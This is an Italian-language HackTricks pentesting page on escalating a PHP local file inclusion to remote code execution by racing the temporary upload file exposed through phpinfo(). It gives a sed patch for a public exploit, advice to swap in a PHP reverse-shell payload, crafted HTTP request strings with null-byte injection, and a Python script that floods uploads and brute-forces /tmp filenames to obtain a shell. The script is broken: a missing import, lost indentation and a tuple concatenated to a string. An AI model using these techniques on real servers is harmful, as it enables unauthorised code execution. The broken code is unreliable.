hacktricks/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md

5.2 KiB

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Per sfruttare questa vulnerabilità hai bisogno di: Una vulnerabilità LFI, una pagina dove viene visualizzato phpinfo(), "file_uploads = on" e il server deve essere in grado di scrivere nella directory "/tmp".

https://www.insomniasec.com/downloads/publications/phpinfolfi.py

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Devi correggere l'exploit (cambiare => in =>). Per farlo puoi fare:

sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py

Devi cambiare anche il payload all'inizio dell'exploit (per un php-rev-shell ad esempio), il REQ1 (questo dovrebbe puntare alla pagina phpinfo e dovrebbe avere il padding incluso, cioè: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), e LFIREQ (questo dovrebbe puntare alla vulnerabilità LFI, cioè: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Controlla il doppio "%" quando sfrutti il carattere nullo)

{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}

Teoria

Se gli upload sono consentiti in PHP e provi a caricare un file, questo file viene memorizzato in una directory temporanea fino a quando il server ha finito di elaborare la richiesta, poi questo file temporaneo viene eliminato.

Quindi, se hai trovato una vulnerabilità LFI nel server web, puoi provare a indovinare il nome del file temporaneo creato e sfruttare un RCE accedendo al file temporaneo prima che venga eliminato.

In Windows i file sono solitamente memorizzati in C:\Windows\temp\php

In linux il nome del file di solito è random e si trova in /tmp. Poiché il nome è casuale, è necessario estrarre da qualche parte il nome del file temporaneo e accedervi prima che venga eliminato. Questo può essere fatto leggendo il valore della variabile $_FILES all'interno del contenuto della funzione "phpconfig()".

phpinfo()

PHP utilizza un buffer di 4096B e quando è pieno, viene inviato al client. Quindi il client può inviare molte richieste grandi (utilizzando intestazioni grandi) caricando un php reverse shell, aspettare che la prima parte di phpinfo() venga restituita (dove si trova il nome del file temporaneo) e provare a accedere al file temporaneo prima che il server php elimini il file sfruttando una vulnerabilità LFI.

Script Python per provare a forzare il nome (se la lunghezza = 6)

import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text:  # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)

print('[x] Something went wrong, please try again')

{% hint style="success" %} Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %}